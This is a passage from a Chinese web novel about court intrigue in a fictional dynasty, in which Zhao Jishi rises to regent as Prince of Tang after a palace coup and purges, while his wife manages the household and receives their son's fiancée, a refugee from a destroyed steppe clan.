不止如此,姥姥和哥哥也给赵纶准备了生辰礼。 可让赵纶这一个生辰,又是一番收获。 这一晚,赵济世歇了自家府上。 难得回府一趟,夫妻团聚。 赵济世在夫妻独处时,还是说了一番心头话。 “宰相大人那里,倒让我为难一回。”赵济世感慨一二。 “如此,也要让珍珠妹妹为难了。”赵济世又念了几个名字。 万珍珠一听后,轻轻颔首。 “不是难事。”夫妻之间,从来没什么为难事。 特别是一心一意的夫妻。毕竟为了儿孙们,夫妻也得多番思量。 “奈何,你我夫妻,这站的立场难啊。”赵济世感慨一回。 “再难,总会过去。”万珍珠握着丈夫的手,她肯切的讲道。 “是啊,会过去的。” 赵济世揽了妻子入怀,此时此刻,有些烦心事,赵济世也懒得多讲。 只正统三年,春末。 宰相宋国舅是属官的建议下,那是又来了一拔操作。 只这一回,宫廷之内,又起风波。 正统帝在泰一宫里生气,帝王哪怕是年少的天子,他还是砸了不少的东西。 全公公在旁边,想劝,又不敢多劝。 能怎么办? 其时全公公这些侍候帝王的老人,那也为难。 早年,全公公等人不是没办事。可宋太后那一边压下来了。 宋太后相信娘家哥哥。 而没有亲政的正统帝,以孝治天下。这一位拿着皇太后没法子,拿着权势越来越大的舅舅也没法子。 这一回正统帝会生气,那真是宋国舅不干人事。 正统帝这一边信任的,或者说先帝承顺帝留下来的心腹。 这不,就是老宦官在外面替正统帝办事,想替内府多收一些财源。 如今让宋国舅给办了。 真的是办了。不止老宦官人没了,连老宦官的亲族也没了。 这事情扫的不止是宦官集团的脸。更是把正统帝的脸,那也是踩在了脚面下。 “大伴,你说母后心中,真有朕这一个亲儿子吗?”正统帝很怀疑亲娘宋太后的立场。 哪怕正统帝向亲娘哭过几回,那做戏,真的做全套。 宋太后在天子跟前,自然是一心一意向着亲儿子的态度。 可态度归态度,这办事的时候,宋太后的一颗心是歪了,歪到娘家的根子上。 至少在正统帝的眼中,宋太后便这般的人物。 “朕不能忍了。”正统帝真的不想忍。 再忍下去,正统帝觉得自己成了忍字刻头上的龟。 宦官那是皇权的延伸。 如今的宋国舅踩过界,至少在帝王眼里是如此。 正统帝不想继续下去。 于是一日午后。 三十六营里,在当差的赵济世收到了一封家书。 赵济世对于家书上的内容,他有一点不敢相信。 “天子安敢如此?”赵济世对于皇权自然 是敬畏的。 可这一份敬畏,那是对于先帝。 对于如今的帝王,在赵济世眼中,这一位帝王尚未大婚,尚未亲政。 如今的大权那在宋国舅的手里。 甭管宋国舅是不是跋扈,可这一位代表的,那还是外戚。 外戚一样是皇权的延伸。 倒是家书里,赵济世知晓了燕京都的一些风云。 宋国舅出事了。 宋国舅进宫单独面圣时,让亲外甥给收拾了。 如今的赵济世在等,在燕京都的风云变幻。 大赵朝,燕京都。 如今是风起云涌。太多人有自己的小算盘。 皇宫,凤仪宫。 宋太后是不敢相信自己的耳朵。自家哥哥和亲儿子闹起来。 这一回,亲儿子掀翻了桌子。 宋太后给吓唬住了。既然亲儿子有胆量,还真的抓了亲舅舅。 宋太后能怎么办? 当然是想法子平息事端。国舅那儿,不过是寻一个借口,如是病了等等。 反正嘛,在宋太后这儿,她肯定是向着亲儿子的。 可在正统帝那儿,帝王也为难。 这是亲舅舅,杀,那是没法子。 或者说哪怕要杀,也不能是帝王喊打喊杀,那成何的体统? 如今不过是扣下了宋国舅。 正统帝当然是希望有人冲锋在前。毕竟如今国舅已经关押起来。 在正统帝的眼中,国舅一直是跟他抢权的存在。 当然,这是帝王的看法。 大赵朝,燕京都。 在燕京都的这地方,最不缺的是想往上爬的人。 可这些人里,又多少人,多少样的心思。那是数也数不清楚的。 在如今的境况下,人人都在等。 小皇帝办了大事情,下文呢?人人在等下文。 可问题关键在于,下面的事情正统帝不怎么敢继续干下去? 杀了亲舅舅,扶谁辅政? 如今的小皇帝可不会处理政务。或者说,那是真不会。 也便是这等时候,世家世族们的心思,那是坏了。 次日。 唐国公府。万珍珠一起来,她又听着万嬷嬷讲了一桩大消息。 “宋国舅人没了?”万珍珠不敢相信。 “这,真的?”万珍珠问一回。 “殿下,真的。这事情假不了。”万嬷嬷肯定的回了万珍珠。 这会儿的万珍珠不知道应该说一些什么。 此时此刻,万珍珠只知道啊。 这天破了。被小天子给捅破了的。 “陛下真杀了亲舅舅啊。”万珍珠嘀咕一回。 在心头,万珍珠得说一句,真勇。 可这朝堂上,那得乱了。 宋国舅,那可不止是宋国舅,这一位更像是一面旗。 在这一面旗下,有跟着混一个地位。同样的,也有站了对立面,那是想着搏一个前程的。 给管真心假意,宋国舅没的,真不是时候。 至少对于正统帝这一位天子是如此。 “嬷嬷,你说,国舅爷这一位没了,是意外,还是人为?” 万珍珠随口一问。 “奴婢不知。”万嬷嬷实话实说。 这真是不知道的。 万珍珠听了万嬷嬷的话,她轻轻颔首。 “是啊,不止嬷嬷不知,我亦不知真相为何。” 万珍珠也不在意真相了。反而,她更在意了这事情引起的动乱来。 这不,这一年的春末。因为宋国舅的死,燕京都起风暴。 世家世族们瞧着机会,那是准备像天子发难了。 宋太后在宫廷里哭成了泪人。毕竟亲哥哥和亲儿子不对付。 宋太后真为难了。 就是这般的情况下,万珍珠能做的不多。那便是不出府,不招了人眉眼高低。 至于出了燕京都? 这等时候可不敢出风头。 如今的燕京都是风声紧。万珍珠在此时此刻,也不敢多揣摩什么。 三十六营。 赵济世没得着家书,可得着下面人的秘报。 同时,赵济世还知道了世家世族里,有人有行动。 这些赵济世全知道。 可赵济世在等。等宫廷里的消息。 等来等去,总算是等到了想拿到的东西。 “善。”赵济世拿到了一封圣旨。 或者说,这是多方经营,多方人脉里,总算得来的名正言顺。 大赵朝,燕京都,皇宫,泰一宫。 正统帝病了。 这一位帝王病的不是时候,宋国舅一死,小皇帝病了。 此时的朝堂上也是乱成了一锅粥。 彼时彼刻,三公九卿,那些位高权重者。 当初在宋国舅这一位宰相大人在位时,也不过虚应事情的人。 如今可是各有心思。 也便是这等时候,宫门开。禁军之中,有人与世家世族勾兑了门路。 宫廷起火,一夜之间,大火漫天。 “陛下,有贼子谋反了。”全公公这会儿瞧着如今的境况。 又岂敢不护了天子。要知道对于宦官而言。 天子在,一切安。 天子问题,他们不止前程没了,吃饭的脑袋也得搬一搬位置。 “他们怎么敢?”正统帝不敢相信。 这些贼人,安敢欺天子至此 全公公瞧着帝王的神态,心头一声叹息。不敢多言,只请圣天子移驾。 内城,唐国公府。 哪怕在国公府,关于宫廷的大火,万珍珠没瞧着热闹。 可夜间,天边的一片红,万珍珠还是瞧见了。 那事情太大,真心瞒不住谁。 那么,一场大乱后,又是谁赢了? 若是时间往前拔一点,那么,赵济世拿到了天子召书。 当然,这一封召书的来源,真是小天子差天使传来吗? 赵济世是要打一个问号的。 可圣旨来了,做为臣子,自然是要接下来看。 哪怕这一道圣旨,那是赵济世盼了太久,总算盼来的。 第113章 失败了就是乱臣贼子,成功了就是忠臣孝子。 标签什么的不重要,重要的是得赢了。 在接到正统帝的圣旨时,赵济世的心中早有打算。或者说等这一天,他等得太久了。 燕京都什么情况,赵济世一直差人盯紧了。 宋国舅的完蛋,不止是正统帝的意思。那些围绕在小天子身边的有心人太多。 赵济世只是不想再当棋子,再让人拿捏。 赵济世想要走到舞台的中央,他想自己执子做局。 大丈夫活一世,不五鼎食,即五鼎亨。 大赵朝,燕京都。 唐国公府,万珍珠接到了一封家书。她有心里准备。 唐国公府的护卫一直是外松内紧。 如今的唐国公府,俱是腹心。非是腹心,如何能托以性命。 万珍珠对于枕边人的心思,她懂。夫妻二人,也不曾相瞒什么。 对于枕边人的心思,万珍珠只有支持的道理。 “终于到了这一天吗?” 万珍珠望着皇宫的方向,她想,真久。 在失去腹中的第二个孩子时,小产那一回,那些查到的事情。 万珍珠想过的,她得复仇。 只当初,跟皇家相干系,不曾再继续下去。 如今嘛,不过是了一笔旧帐。 当然,这些不全是借口。又或者说,唐国公府到如今的地步。 甭管是枕边人,还是万珍珠,他们夫妻不乐意再退一步。 因为退一步,不是海阔天空,而是忍着做人棋子。 一步,可能就是一步之遥,便是棋手与棋子的命运抉择。 想上棋盘,不当棋子,想做棋手。总要惊天一搏。 没有先辈留下来的遗产,那么,唯搏命,去搏了上位的机会。 万珍珠跟枕边人一样的心思,总归想给孩子留下更好的一切。 大赵朝,燕京都。 许多的野心家,都在惊天一搏,只等一个答案的出现。 北镇之外,浑江之地。 那儿是万珍珠曾经封号的来源。可同样的,那儿也是挛堤氏一族暂时的居所。 只挛堤氏一族遇着了大麻烦。 “如何,得了南边的消息吗?”大阏氏再三催问心腹。 大阏氏跟南边的赵氏有联系。或者说如今的挛堤一族跟唐国公府的关系很亲近。 这一回遇着麻烦,大阏氏想拉了盟友。 因为敌人来势汹汹,只凭着挛堤一族如今残存的实力,想赢太难。 “暂无消息。”心腹赶紧回话。 “再探。”大阏氏吩咐一句。 尔后,再又吩咐心腹,又道:“照顾好小汗。” 对于亲儿子,大阏氏很在意。 哪怕这一遭的大难,可能遇着麻烦。大阏氏的心中,还是儿子更重要。 只要儿子万安,一切还有可能。 至于说跟唐国公府有婚约的女儿?在大阏氏的心里自然是低了一筹的重要。 不过,也一样重要。 只是儿女之间,大阏氏还是分了一个轻重缓急。 夏,明明炎炎。 可燕京都的百姓却是心凉。不是病了,而是给吓 的。 夏日,午时。 最是一日炎炎时,被砍头的败亡之辈太多。 如今的燕京都,可谓是血腥味太浓重。 唐国公府。 万珍珠见到了枕边人,见到了孩儿他爹。 夫妻再见,彼此心中万般话,最后,只是万珍珠拿了帐子,她替夫妻指了额边汗水。 明明无言,却是彼此都懂对方的心思。 万珍珠执起丈夫的手,夫妻落坐。万珍珠给丈夫斟茶,让丈夫饮一饮。 赵济世饮了茶。 夏日饮凉茶,心凉,也不再惧了暑气。或许是心凉且静,赵济世坦然而言,道:“这些日子让妹妹担忧了。” 夫妻一场,万珍珠知道枕边人说的担忧是什么。 她唇畔浅浅一笑,道:“一心一体,原是忧,如今见着济世哥哥安然无恙,我也宽心了。” “济世哥哥,今个家里一家子人一道用饭。饭罢,他再考校一二安泰、安福的课业,可好?” 万珍珠说些寻常家事。 至于一些府内府外,由她这一位主母掌管的府务。 这会儿且不急,万珍珠能拿定主意的,她便是不打扰了枕边人。 只一些关乎了国公府前程方向的,可需要商量的。 万珍珠自会在晚间夫妻二人独处时,她与夫君再是细细一说。 “好久不曾见了安康、安康兄弟,也不曾给岳母问安。一家人坐一起用一餐饭,想一想,岂有不乐意的道理。” 赵济世神情大慰,自然愿意一享家的温情。 这一日,赵绥、赵纶兄弟二人见着亲爹。 许久不曾见着亲爹,再见,兄弟二人可欢喜。 对于兄弟二人而言,亲爹,那可是伟岸的英雄。 在兄弟二人的耳边,谁夸一句,必夸亲爹。 这般的情况下,甭管是赵绥,还是赵纶,那自然是向往着快快长大,尔后,那是成为亲爹一般的男子汉。 赵济世考校了两个儿子的功课。赵纶尚年幼,这夸考校,不如说点拔一二,让孩子有向学之心。 倒是嫡长子赵绥的课业,赵济世很在意。 考校,自然也是寻着机会,夸一夸孩子。让孩子多进步。 毕竟长子的课业如何?那教学师傅处,赵济世可是知道着结果,知道的一清二楚。 不止赵济世关心了孩子们的学业,万珍珠这当娘的一样在意的紧。 唐国公府的家业夫妻二人挣的再多,将来还得让孩子们继承。 如果说不抓紧了孩子们的教育问题,万一出了败家子? 在权利的斗争场上,无能之辈,不止会害了自己。 同样的,也会害了追随的腹心之辈。 因为唐国公府,不止是唐国公府。这是围绕着唐国公府的一个圈子,一圈套一圈,这是一个权利的旋涡。 这一晚,夫妻二人独处时。 赵济世执着妻子的手,他讲道:“明个,我们夫妻一起进宫一趟。” “太后那儿,还需要妹妹安抚一番。”赵济世说了他的打算。 “嗯。”万珍珠应一声。 “这点事情,我会做好。”万珍珠对于此事,她自然应下。 “面子让皇家拿稳,我们要里子。”赵济世的脸上有笑容。 “妹妹,我要做唐王,你便是我的王妃。今晚,让我好好的侍候一番王妃娘娘,可好?” 赵济世揽了妻子入怀。 唐王妃,从国公夫人到王妃娘娘,这是不是一小步,而是一大步。 至于面子里子? 万珍珠更懂得。毕竟近日里,在燕京都的贵妇人圈子里。 彼辈们的献媚,万珍珠没眼瞎,她瞧得出来。 月明星稀,暗夜昏昏。 万珍珠心里畅快,这会儿对于夫妻二人那一点愉悦,更是觉得得入了心坎儿里。 次日。 夫妻二人进宫一趟。 坐着马车,一路往皇宫去。旁的不提,进了宫廷后。 五步一岗,在那些执勤之辈的侍卫里,万珍珠瞧出了太多的眼熟人。 这时候的万珍珠心里有数了。 想来,夫君要坐了唐王,执政的唐王,这宫廷里的皇家亲卫也是换了人。 大换血之事,万珍珠觉得很对。 因为宋国舅的翻车是前车之鉴,对于宫廷里,从来没小事。 一点小事,也可能变成大事。 至于说臣子插手宫廷,还是替皇家当家作主? 这对不对的,万珍珠不在意。 人活着就有立场。万珍珠的立场不改,一直没变,她站在了亲人这一边。 凤仪宫。 万珍珠在此被人迎进了大殿内。宫里的宋嬷嬷是宋太后的心腹。 这会儿在万珍珠这一位唐国夫人跟前,那也是低头陪笑。 “夫人,您请。” 万珍珠轻轻颔首。笑着给了一个红封,说道:“一点子心意,请嬷嬷吃茶。” 宋嬷嬷瞧着红封,笑着接了。 万珍珠也笑了。 瞧着宋嬷嬷的态度,宋太后大约而是要面子的。 只要皇家讲了面子,里子不里子的,打折了藏袖里。总归能自个安慰自个。 凤仪宫的大殿内。 万珍珠按着规矩向太后娘娘问安。 “臣妇参见太后娘娘,娘娘千岁千岁千千岁。” “免礼,赐坐。” 宋太后在万珍珠跟前,语气客客气气。 只宋太后的眼神,还是免不得多打量了万珍珠几眼。 宋氏一族的结局,如今瞧着不咋样好。 或者说宋国舅死了,大局就败落了。只如今,宋太后还想挣扎一二。 毕竟天子安在,宋太后觉得她的富贵荣华,不止系于娘家,更是系于天子身上。 朝堂上要出了一位摄政王,唐国公晋位唐王。 这事情风声出了,毕竟王爵服饰等等,内府已经在安排。 朝堂上的风声更是吹响了。 在这等时候,宋太后也想挽回一些事情。 这会儿万珍珠陪着宋太后绕弯子,二人闲谈一二。 万珍珠这儿不急。 皇宫,泰一宫。 赵济世面见帝王。他这儿,那才是主角戏。 小天子正统帝不想让权臣出现。可大赵朝的现况就是一而再,再而三的出现权臣。 宋国舅倒了。 五望七姓,也是闹腾了一番。只最后,谁没料到,最后登台的成了唐国公。 这一回寒家子出身的国公,如今倒成了燕京都的实际掌权人。 变幻莫测的燕京都风云,只能说起起伏伏,哪一朵云彩变眼,真可谓是让人难揣测。 五望七姓,世家名门。 在燕京都的大局变幻里,掺合太深的五望,如今全倒了霉,个个都是被抄家。 至于七姓,瞧着掺合的不深。 那还是置身事外,瞧着依然是高门大姓,富贵荣华。 只能说跟皇权太近,可能富贵,更可能是落入深渊。 正统帝今个有两件事情得干。 一事是盖了玉玺,让唐国公晋位唐王的事情落定。 当然,唐王妃的册封,那也得落了印。 二事同样是落了玉玺,只这一回,那是盖了杀人印。 五望高门,如今嘛,正统帝也得杀了主脉,流放了旁枝庶脉的一些不成丁之辈。 至于成丁的男子,一个都逃不了,全得在皇权大戏里掉了脑袋。 狠不狠? 真狠。 可未来的唐王,赵济世这一位拿的证据够足。 这五望掺合进皇权之争,如今扣的罪名够大。 谋逆,不止谋逆,更是谋害了宋国舅这一位宰相。 只能说,只要罪名够大,能装下了很多的罪人。 罪名多了,死的人更多。 唐王想肃清朝堂,或者说想多杀一点敌辈,多给自己人清出来朝堂上的位置。 这一点事情不止是明亮的亮牌。只要不是瞎子,那都瞧得懂。 可谁让宋国舅死了。事情闹大发了。 前些日子,那一波又一波的大乱。燕京都死的人已经很多了。 再多死一些,也不过是陪葬罢了。 或者说赵济世挑的罪名够了,这些将死之辈,死得其所。 正统帝不想落印。一旦落了玉玺,唐王这一位摄政,那权臣上位,可谓是权势赫赫。 可人在屋檐下,不得不低头。 宫廷之内,尽为唐王腹心。这事情瞒不了人。 正统帝一位小天子,他没兵权,在朝堂上一样没话语权,他改变不了什么。 当初的国舅,如今的唐王。 小天子只能干瞪眼。 特别是小天子从心腹那儿听来的一些话。他的皇弟们如今在献媚了唐王。 弟弟多了,这预备役就多。 正统帝也害怕,因为天子当不成天子,唯一条路,死而矣。 小天子正统帝不想让位给皇弟,对于皇弟,小天子更是恨得牙痒痒。 彼辈,真是皇子皇孙?如何在权臣面前献媚,真丢了皇室的威仪。 “啪”,大印落下。 这一声,更像是敲在了正统帝的心尖尖上。 帝王不想,可现实不能更改。 “往后,朝局托于唐王,朕无忧矣。”表面上的正统帝还是一幅 相信唐王是好权臣的模样。 至于心中,若可能的话,正统帝想食唐王的肉,扒唐王的皮。 可现实不允许。 于是帝王也得低头,也得逢场作戏,还得与唐王陪笑,夸了这一位权臣。 “臣领皇命,敢不效死。”赵济世也相信,他是一位好忠臣。 执权柄,自然是想做一番大业。 赵济世如今就是瞧着燕京都好风景,他心头畅快的紧。 往年的燕京都,那天子居。如今嘛,这是唐王的根基所在。 对于赵济世而言,燕京都可太重要了。 这儿的人心,赵济世可是要拿稳了。不止军心,不止腹心。 燕京都的民心,赵济世也是要争一争。 如今争? 赵济世与妻子可有商量,夫妻二人一心一意,那是要给唐王府争了一份民心。 不止为自个,更是为了儿孙。 凤仪宫。 万珍珠得了圣旨,听了封王妃的诏书。 这会儿的宋太后都是满面笑容的夸。夸了万珍珠的福气。 “王妃好福气。”宋太后的态度很殷勤。 万珍珠笑着,她心情真不错。以前要献给宋家的厚金钱财。 如今嘛,倒是省了。 万珍珠还做了唐王妃,往后,万珍珠更想执钱财,那是做了更多的事情。 瞧着,还有权势背书,这等时候,那生意自然是越做越大的好。 同样的,挣钱了,那不重要。拿着钱财,那谋划了一些向往的事情,那很重要。 唐王府。 万珍珠夫妻归来,自然是府上大喜。同庆贺,人人俱有赏。 牛二囡也高兴。替女婿高兴,替女儿高兴。 只唐王府高兴时。 燕京都里,也有暗流潜伏。只能说有人得意,自然有人失意。 彼辈里,也有人想着献媚唐王。 秋日,秋意浓浓。 万珍珠借着秋日好时节,商会在准备许多的年节礼。 这一回,唐王府想干一些事情。收买人心嘛,从来不嫌弃多。 大笔的钱财洒出去,万珍珠更在意了,那些钱财得花在实处。 燕京都,万珍珠是见得孤儿落难。养孤儿们,万珍珠最是乐意。 投资在孩子身上,万珍珠从来不嫌弃了花钱多。 一座城,不见孤儿落难。这里面的花销,万珍珠乐意承担。 只这等时候,万珍珠接到了消息。北边来的。 “什么?” 瞧过书信,万珍珠当场惊住。 北边出事,或者说浑江之地出事。挛堤一族灭了。 哪怕有逃出来的,也不过一些余荫。那一位挛鞮一族的小汗没逃出来。母子俱亡。 倒是万珍珠的大儿媳挛堤明珠逃出来。或者说这一位不太重要。 至少在草原上,一些人的眼中,也不算太重要。 于是挛堤明珠逃了出来,逃到北镇。 如今被人护送着来往燕京都的路途上。万珍珠得着书信。 这未来的儿媳妇要来了。 可这儿媳妇的家族势力没了,这联姻,未免少了一份助力。 万珍珠说没失望?那太假。 可如今的唐王府要脸,这订下的盟约,当然没有反悔的可能。 这一日,赵济世回府。 关于北面的书信,万珍珠递与枕边人。她道:“这消息来的太晚了。” “不晚。”赵济世浑不在意。 “可挛堤一族没了。”万珍珠讲道:“往后,这一位未来的大儿媳的背后,可没了娘家的支持。未免势弱了许多。” “唐王府够威风,也不必一些草原上的胡人支持。”赵济世的神情坚定。 “早前,草原有来信求救。我收到了,只不在意。” 赵济世说了详情。 “那会儿燕京都风云变幻,岂能分心二用。济世哥哥的做法,只有对,没有错。”万珍珠不觉得枕边人做错了。 自家都顾不得,岂能为了旁人去分心。 要知道燕京都的局,一旦输了,可会死全家的。 就像是皇宫,在夏日时节,可是血洗了几遍。 五望高门登台时,轮流坐庄那会儿,借口宋国舅的旧事,那是清洗过皇宫三回。 等着赵济世掌了权,一样的在皇宫清洗一遍。 等着万珍珠成了唐王妃,自然也是插手一回。 不为旁的,只为着失去的那一个孩子报复。 一些知道一点蛛丝马迹的,万珍珠都没有放过。 只结果,让万珍珠心凉。 当初,在皇家许是小事。万珍珠小产,也不过是落了旁人的局。 那是宫廷皇家的内斗,万珍珠不过是一颗小棋子,让夫君赵济世入局的小棋子。 可就那一点小事,就让万珍珠失去了自己的孩子。 当初的冤枉,那是不敢喊。 如今嘛,万珍珠有仇就报仇。 顺道再清洗一遍宫廷,也不过是想着让唐王府插手一个更干净的宫廷。 说白了,宋国舅的前车之鉴,万珍珠可盯得紧。 万珍珠乐意拿钱收买人,那得被收买者,那是一心向了唐王府。 或是二心,万珍珠宁可喂了忠心的狗子,也不乐意喂了彼辈的仇人。 “珍珠妹妹,早前,我在岳父当面时,也讲过要让妹妹的浑江公主封号名符其实。如今,时机到了。” 赵济世重提旧事。 当初,浑江之地让挛堤一族占着,那时候,赵济世的实力不足。 如今嘛,赵济世就想着给唐王府寻了更深的扎根之地。 浑江就不错。 那儿连着北镇之地。而北镇之地是唐王府的家乡。 一旦北镇之地与浑江连成一片,彼时,大片的土地可以养育更多的丁口。 那里的人认了唐王府的招牌,只记唐王府的恩,不记大赵的恩。 这才是唐王赵济世在意的地方。 至于说北镇之地与浑江之地的豪门?赵济世可不会留了什么豪门。 有一丁儿的影子都不成。 北镇与浑江,那得成了唐王府的自留地。 在自家的地头上,自然只能有一个头领。 这才是真正的扎根,扎根之地,养着丁口,养着心腹。 那是唐王府的权势来源。 因为扎根越深,权势越稳。无根之木,不得长久。 至于大赵朝越往南? 赵济世这一位唐王的权柄越弱。如今还依附于大赵朝。 那也是没法子。 权臣要当,可权势要收拢。大赵朝的势与威,往后嘛,那自然是唐王府的将来。 “横扫草原吗?”万珍珠问道。 “彼辈胡人,只认威,不认仁。自然要清扫一番。”赵济世讲道。 或者说一上位当权臣,如今还有借口。大大的借口。 要知道浑江之地可是承顺帝发的话,让挛堤氏一族安家所在。 如今嘛,草原一乱,有人想掺合。 赵济世不介意的,那是清扫一番。打扫干净了,立了威。 他这唐王,更显威势。 “那,济世哥哥要亲征吗?”万珍珠问道。 这问题很重要。 “我当亲征。”关于兵权,赵济世看得很重。 他因兵权而上位。 这当然不能让后来者效仿了。 “可燕京都怎么办?”万珍珠问道。 “我为安康已经请了官职。他是唐王府世子,可代理监国之任。” 赵济世不演了,他就想瞧一瞧,他的儿子监国,又起如何风波? 有人敢闹,赵济世不介意杀人。杀的彼辈胆寒,剩下来的便是忠顺之辈。 第114章 “秋日好风景,郡主不能多留北镇,真是可惜。” 挛堤明珠听着耳边的少女话语,她沉默不语。 来了北镇,挛堤明珠心头想撑起自己的心气。 哪怕面上装了骄傲,可在心头,挛堤明珠心里惴惴不安。 住在北镇,这里的人瞧着待她热忱。可她不傻。 她得来的一切为何? 助了挛堤明珠逃来北镇的心腹赵嬷嬷有过暗示。 赵嬷嬷是未来夫家送 到她跟前侍候的心腹。 这是她的心腹吗? 挛堤明珠相信赵嬷嬷,可在心底,她还是有一点点的自知之明。 或许赵嬷嬷会心疼她,可赵嬷嬷的真正主子是唐王府的主子。 唐王和唐王妃是她未来的公爹与婆母。中原也罢,塞外也罢,爹娘为大。 挛堤明珠没了草原部落的撑腰,她心里害怕的。 女子的娘家不够强势,似她这般没了娘家的少女。 她的未来夫家会认了她这一位落魄女孩儿为媳吗? 就如眼前的北镇名门淑女。如今与她亲近。 待知她不得唐王府的欢心时,还会与她闲谈之间亲切有嘉,似闺蜜,似好友? 这一切在挛堤明珠的心头全要打一个大大的疑惑的。 “北镇很好,只我心头,还念着北边的旧怨与仇恨。若能早些见着唐王与王妃,我只求长辈给了复仇的机会。” 挛堤明珠一幅旧恨不忘的神情。 少女年少,可心底的一份仇,注定是抹不去。 因为那铭刻了她的亲人与血仇。 只是血仇犹在,前途未知。挛堤明珠心头凄慌,面上不敢表露半分。 她更怕,她的软弱会让人觉得她可欺。 北镇的风光,在秋日甚好。可挛堤明珠没心情欣赏这一些好风景。 大赵朝,燕京都。 做为唐王府的世子,安康,或者说大名赵绥的赵世子,他哪怕年八岁,只是半大的小子。 如今也是得替父分忧,在朝堂上当了官职上差。 虽然他这等官,只是恩荫。 可一旦跟唐王府沾上边,做为摄政王的嫡长子。 赵绥年纪虽小,却也知道他的一举一动在许多人眼中,那恨不得放在无数倍的观察与揣摩。 少年成长的很快,在现实面前,总会被打磨着成长。 因为现实的需要。 唐王府,前院的书房内。 赵济世望着嫡长子赵绥,问道:“怕吗?” “不怕。能替爹分忧,儿心欢喜。”赵绥回得斩钉切铁。 在半大少年的心中,他恨不能多替父分忧。 这等年纪,最恨不能证明自己。 赵绥哪怕装了喜怒不行于色,可他只是少年。 少年的意气丰发,赵绥一点不缺。 只打小的教养,或者说爹娘的一些摔打教育,还是颇见成效的。 至少在少年老成这一块,赵绥不缺着经验。 或许不是事事懂,可遇着事,慢一步,多思量。 这一点道理赵绥记在心上。 万事,只怕认真。 在赵绥瞧来,他能替父分忧,再是难,他也不怕。 “儿只高兴,我也能办一些大事。”赵绥挺直腰杆儿。 在赵绥眼中,他做官吗? 不,那官,在赵绥的眼中,更像是父亲的奖赏。 “你可知道,你还小,很多事做了,未必不是容易钻进别人的圈套里。” 赵济世望着嫡长子,他意有所指的讲道。 “有父亲安排的师傅辅佐,遇大事小事,万事递了爹跟前,让爹裁决。儿当一块印章罢了。” 赵绥虽然想自己当家作主,可他真不傻。他还在学习的阶段。 至于当泥塑的菩萨,让人供着嘛。这一点道理赵绥懂。 不过是一个名头顶上面。 这一点事情,赵绥觉得他会办妥当。至于说这样办事没效率啥的? 这不是赵绥应该操心的。 赵绥更应该的是学习。说是“监国”,哪怕是印章,那也是大赵朝最尊贵的印章。 “瞧你一番决心,为父心中安慰,甚是欣喜。”赵济世是高兴的态度。 得着亲爹的肯定,赵绥也高兴。 父子俱是高兴,二人对于未来是一样的高兴。 高兴之处,自然各有各的原由。 正统三年,秋日末,挛堤明珠被唐王府差遣去的侍卫护送至燕京都。 头一回入燕京都。 未进城,坐于马车内,掀起车窗帘子瞧着高高的城墙,一眼望不到城墙的际头。 挛堤明珠心情起伏。这儿会是她未来的家吗? “嬷嬷,唐王是大英雄,王妃是天下间最慈悲的人。他们会喜欢我吗?” 挛堤明珠跟赵嬷嬷问话道。 “郡主,唐王与王妃会喜欢您的。”赵嬷嬷安慰道。 在赵嬷嬷的心底,她也是这般盼着的。毕竟她是唐王府安排去草原,早早派遣到挛堤郡主跟前侍候的教养嬷嬷。 从这上,赵嬷嬷就觉得唐王府待郡主有一份感情的。 至少这一份姻缘,那肯定是天注定的。 剪不断,注定是一对鸳盟。 又或者说,赵嬷嬷心头也害怕挛堤郡主成不了唐王与王妃的儿媳。 因为一旦有变故的话,赵嬷嬷的地位会很尴尬的。 秋末,天凉了。 唐王府内,万珍珠举办了一场聚会。这一场聚会的用意,也不外乎是交流一番女眷们之间的友情。 当然,更是安抚了唐王一系的人马。 女眷之间的来往,有些话更容易讲一讲。或者说从女眷的圈子里。 有些一些潜流暗涌,更容易敲打边鼓。 万珍珠应该做的事情,在这等女眷圈子里的事情,她从来不假人手。 也如此,万珍珠听着一些女眷圈子里的小话。 免不得夫君的结义兄弟们的妻子,这些弟妹们的苦水,万珍珠也得听一听。 富贵了,不易妻。在这一个世道里,世俗都得夸一句好男儿。 糟糠妻不下堂,这一条办到,就得让人夸。 为何? 因为富贵了,想死嫡妻,再迎新妇的人,也是少不了。 只万珍珠跟弟妹们的感情相处出来了。所以,在她这一位大嫂在,自然也是要替弟妹们撑一撑场面。 可这嫡妻安坐高堂。至于后宅之中,添几美人的小事。 万珍珠管不得。 他人府内事,没得旁人置言多语的道理。 如此,弟妹们里,也有人被美妾美姬之事闹得灰头土脸的。 万珍珠瞧着,只能心头感叹。 富贵迷人眼,一旦有人富贵了,可能“初心不变”,那就是一直爱了十来岁的少女。 那等初心,说着恶心。 可管不了。或者说没法子管。 哪怕是万珍珠如今的地位,她也难管。要知道唐王府如今的局势,还是盼着团结更多的人。 或者说拉拢好自己这一边的派系。再是团结一批人,孤立一批人,打倒小小的一批人。 资源摆那儿,有人跌倒,唐王一系才好分果果,彼此都是吃饱。 唐王府的一系人马里,人人有自己的角色。 万珍珠能做的,也是尽力罢了。 尊重他人命运,成全他人因果。万珍珠从来是尊贵强者。 因为诸弟妹们,万珍珠能帮衬的是给予底气。 至于拿着筹码,又能替自己谋多少好处,全看各人本事,也凭各人能耐。 能帮衬一时,不可能帮衬一世。救急不救穷的道理,万珍珠太 懂了。 没谁,那是可以救了谁一辈子。那样的话,太容易造就了升米恩,斗米仇。 做为做事,总讲一个尺度。过了,就容易好心变成了坏事。 坏的,从来是自己的口碑。更可能让人心坏了。 因为贪婪,从来是人的本性。至少这是万珍珠的认可准则。 所以,万珍珠自己有一颗“贪婪”,还算克制的心。 她很介意了,一旦逾越了,那喂饱了别人的“贪婪”之心。 便是要喂一喂别人的“贪婪”之心,那也得是不得已。 就像是当初对着大赵朝的皇族与国舅低头一般。 那是为了更好的未来,一时的低头罢了。 “王府风景最好,瞧瞧,这时节的寒梅开,可绘了九九消寒图。” “真羡慕了嫂嫂。” “……”一众弟妹还在附庸了万珍珠这儿说好话。 便是此时,有丫鬟来报信儿。 万珍珠一听,挛堤明珠进府。她惊讶片刻后,让万嬷嬷替她去迎人。 至于宴会? 这会儿的万珍珠当然还得待客。只待送了客人后,她再去见一见这一位未来的儿媳。 从唐王府的角门坐马车入了府,在二门处,又换了小轿。 在内宅,挛堤明珠见到了万嬷嬷。 “奴婢参见郡主,郡主万福。”万嬷嬷见着挛堤明珠,恭敬见礼。 尔后,又恭请这一位去内宅的主院。 有赵嬷嬷的提点,挛堤明珠知道,这一位万嬷嬷是唐王妃的心腹。 此时的挛堤明珠待万嬷嬷客客气气。只她一个小姑娘,还是要脸。 只能是强撑了骄傲,随了万嬷嬷进屋里去。 